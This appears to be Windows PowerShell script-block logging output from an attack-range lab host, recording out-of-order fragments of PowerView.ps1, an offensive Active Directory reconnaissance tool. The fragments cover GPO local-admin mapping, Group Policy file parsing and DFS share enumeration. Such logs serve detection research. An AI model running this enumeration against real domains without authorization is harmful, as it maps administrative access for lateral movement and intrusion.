$ConvertArguments['Credential'] = $Credential } $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainGPO @SearcherArguments | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists $Inf = Get-GptTmpl @ParseArgs if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { $Memberships = @{} # parse the members/memberof fields for each entry ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} # extract out ALL members $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if ($PSBoundParameters['ResolveMembersToSIDs']) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach ($Member in $MembershipValue) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { $ConvertToArguments = @{'ObjectName' = $Member} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID @ConvertToArguments if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $MembershipValue = $GroupMembers } if (-not $Memberships[$Group]) { $Memberships[$Group] = @{} } if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } ForEach ($Membership in $Memberships.GetEnumerator()) { if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') if ($GroupSID -and ($GroupSID.Trim() -ne '')) { $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { $GroupName = $False } } else { $GroupName = $Membership.Key if ($GroupName -and ($GroupName.Trim() -ne '')) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } elseif ($GroupName.Trim() -ne '') { $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $GroupSID = ConvertTo-SID @ConvertToArguments } else { $GroupSID = $Null } } } $GPOGroup = New-Object PSObject $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $GPOGroup } } # now try to the parse group policy preferences file (Groups.xml) if it exists $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } Get-GroupsXML @ParseArgs | ForEach-Object { if ($PSBoundParameters['ResolveMembersToSIDs']) { $GroupMembers = @() ForEach ($Member in $_.GroupMembers) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $_.GroupMembers = $GroupMembers } $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $_ } } } } function Get-DomainGPOUserLocalGroupMapping { <# .SYNOPSIS Enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-DomainGPOLocalGroup 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites If no user/group is specified, all user/group -> machine mappings discovered through GPO relationships are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the user/group to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOUserLocalGroupMapping Find all user/group -> machine relationships where the user/group is a member of the local administrators group on target machines. .EXAMPLE Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOUserLocalGroupMapping -Credential $Cred .OUTPUTS PowerView.GPOLocalGroupMapping A custom PSObject containing any target identity information and what local group memberships they're a part of through GPO correlation. .LINK http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')]421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2541GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid if (-not $GroupSID) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } else { if ($PSBoundParameters['Credential']) { $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential } else { $GroupSID = ConvertTo-SID -ObjectName $Groupname } } } # extract out members added to this group $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if ($_.sid) { $_.sid } else { $_.name } } if ($Members) { # extract out any/all filters...I hate you GPP if ($_.filters) { $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } else { $Filters = $Null } if ($Members -isnot [System.Array]) { $Members = @($Members) } $GroupsXML = New-Object PSObject $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath $GroupsXML | Add-Member Noteproperty 'Filters' $Filters $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') $GroupsXML } } } catch { Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-DomainGPO { <# .SYNOPSIS Return all GPOs or specific GPO objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ComputerIdentity Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). .PARAMETER UserIdentity Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGPO -Domain testlab.local Return all GPOs for the testlab.local domain .EXAMPLE Get-DomainGPO -ComputerName windows1.testlab.local Returns all GPOs applied windows1.testlab.local .EXAMPLE "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display name of "Test GPO" .EXAMPLE Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPO -Credential $Cred .OUTPUTS PowerView.GPO Custom PSObject with translated GPO property fields. PowerView.GPO.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Parameter(ParameterSetName = 'ComputerIdentity')] [Alias('ComputerName')] [ValidateNotNullOrEmpty()] [String] $ComputerIdentity, [Parameter(ParameterSetName = 'UserIdentity')] [Alias('UserName')] [ValidateNotNullOrEmpty()] [String] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GPOSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GPOSearcher) { if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { $GPOAdsPaths = @() if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' $TargetComputerName = $Null if ($PSBoundParameters['ComputerIdentity']) { $SearcherArguments['Identity'] = $ComputerIdentity $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 if(-not $Computer) { Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } $ObjectDN = $Computer.distinguishedname $TargetComputerName = $Computer.dnshostname } else { $SearcherArguments['Identity'] = $UserIdentity $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 if(-not $User) { Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } $ObjectDN = $User.distinguishedname } # extract all OUs the target user/computer is a part of $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" if ($ObjectOUs) { # find all the GPOs linked to the user/computer's OUs $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of if ($_.gplink) { $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $Parts = $_.split(';') $GpoDN = $Parts[0] $Enforced = $Parts[1] if ($InheritanceDisabled) { # if inheritance has already been disabled and this GPO is set as "enforced" # then add it, otherwise ignore it if ($Enforced -eq 2) { $GpoDN } } else { # inheritance not marked as disabled yet $GpoDN } } } } # if this OU has GPO inheritence disabled, break so additional OUs aren't processed if ($_.gpoptions -eq 1) { $InheritanceDisabled = $True } } } } if ($TargetComputerName) { # find all the GPOs linked to the computer's site $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $SearcherArguments['Identity'] = $ComputerSite $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular site the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } } } # find any GPOs linked to the user/computer's domain $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) $SearcherArguments.Remove('Identity') $SearcherArguments.Remove('Properties') $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular domain the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" # restore the old properites to return, if set if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } else { $SearcherArguments.Remove('Properties') } $SearcherArguments.Remove('Identity') $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { # use the gplink as an ADS path to enumerate all GPOs for the computer $SearcherArguments['SearchBase'] = $_ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" Get-DomainObject @SearcherArguments | ForEach-Object { if ($PSBoundParameters['Raw']) { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $_ } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GPOSearcher = Get-DomainSearcher @SearcherArguments if (-not $GPOSearcher) { Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -match '{.*}') { $IdentityFilter += "(name=$IdentityInstance)" } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(displayname=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2441 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) $comment_start = $comment_size_end + 1 $comment_end = $comment_start + $comment_size - 1 if ($comment_size -gt 0) { $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) } $prefix_timestamp_start = $comment_end + 1 $prefix_timestamp_end = $prefix_timestamp_start + 7 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime $state_timestamp_start = $prefix_timestamp_end + 1 $state_timestamp_end = $state_timestamp_start + 7 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] $comment_timestamp_start = $state_timestamp_end + 1 $comment_timestamp_end = $comment_timestamp_start + 7 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] $version_start = $comment_timestamp_end + 1 $version_end = $version_start + 3 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) # Parse rest of DFSNamespaceRootOrLinkBlob here $dfs_targetlist_blob_size_start = $version_end + 1 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 $reserved_blob_size_end = $reserved_blob_size_start + 3 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) $reserved_blob_start = $reserved_blob_size_end + 1 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] $referral_ttl_start = $reserved_blob_end + 1 $referral_ttl_end = $referral_ttl_start + 3 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) #Parse DFSTargetListBlob $target_count_start = 0 $target_count_end = $target_count_start + 3 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) $t_offset = $target_count_end + 1 for($j=1; $j -le $target_count; $j++){ $target_entry_size_start = $t_offset $target_entry_size_end = $target_entry_size_start + 3 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) $target_time_stamp_start = $target_entry_size_end + 1 $target_time_stamp_end = $target_time_stamp_start + 7 # FILETIME again or special if priority rank and priority class 0 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] $target_state_start = $target_time_stamp_end + 1 $target_state_end = $target_state_start + 3 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) $target_type_start = $target_state_end + 1 $target_type_end = $target_type_start + 3 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) $server_name_size_start = $target_type_end + 1 $server_name_size_end = $server_name_size_start + 1 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) $server_name_start = $server_name_size_end + 1 $server_name_end = $server_name_start + $server_name_size - 1 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) $share_name_size_start = $server_name_end + 1 $share_name_size_end = $share_name_size_start + 1 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) $share_name_start = $share_name_size_end + 1 $share_name_end = $share_name_start + $share_name_size - 1 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) $target_list += "\\$server_name\$share_name" $t_offset = $share_name_end + 1 } } } $offset = $blob_data_end + 1 $dfs_pkt_properties = @{ 'Name' = $blob_name 'Prefix' = $prefix 'TargetList' = $target_list } $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties $prefix = $Null $blob_name = $Null $target_list = $Null } $servers = @() $object_list | ForEach-Object { if ($_.TargetList) { $_.TargetList | ForEach-Object { $servers += $_.split('\')[2] } } } $servers } function Get-DomainDFSShareV1 { [CmdletBinding()] Param( [String] $Domain, [String] $SearchBase, [String] $Server, [String] $SearchScope = 'Subtree', [Int] $ResultPageSize = 200, [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $DFSsearcher = Get-DomainSearcher @PSBoundParameters if ($DFSsearcher) { $DFSshares = @() $DFSsearcher.filter = '(&(objectClass=fTDfs))' try { $Results = $DFSSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { if ( $_.Contains('\') ) { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" } } $DFSSearcher.dispose() if ($pkt -and $pkt[0]) { Parse-Pkt $pkt[0] | ForEach-Object { # If a folder doesn't have a redirection it will have a target like # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match # on 'null' rather than $Null if ($_ -ne 'null') { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} } } } } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } function Get-DomainDFSShareV2 { [CmdletBinding()] Param( [String] $Domain, [String] $SearchBase, [String] $Server, [String] $SearchScope = 'Subtree', [Int] $ResultPageSize = 200, [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $DFSsearcher = Get-DomainSearcher @PSBoundParameters if ($DFSsearcher) { $DFSshares = @() $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) try { $Results = $DFSSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $target_list = $Properties.'msdfs-targetlistv2'[0] $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) $DFSshares += $xml.targets.ChildNodes | ForEach-Object { try { $Target = $_.InnerText if ( $Target.Contains('\') ) { $DFSroot = $Target.split('\')[3] $ShareName = $Properties.'msdfs-linkpathv2'[0] New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DFSSearcher.dispose() } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } } PROCESS { $DFSshares = @() if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } } else { if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique } } ######################################################## # # GPO related functions. # ######################################################## function Get-GptTmpl { <# .SYNOPSIS Helper to parse a GptTmpl.inf policy file path into a hashtable. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent .DESCRIPTION Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf is constructed and assumed to be the parse target. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GptTmplPath Specifies the GptTmpl.inf file path name to parse. .PARAMETER OutputObject Switch. Output a custom PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-GptTmpl -GptTmplPath 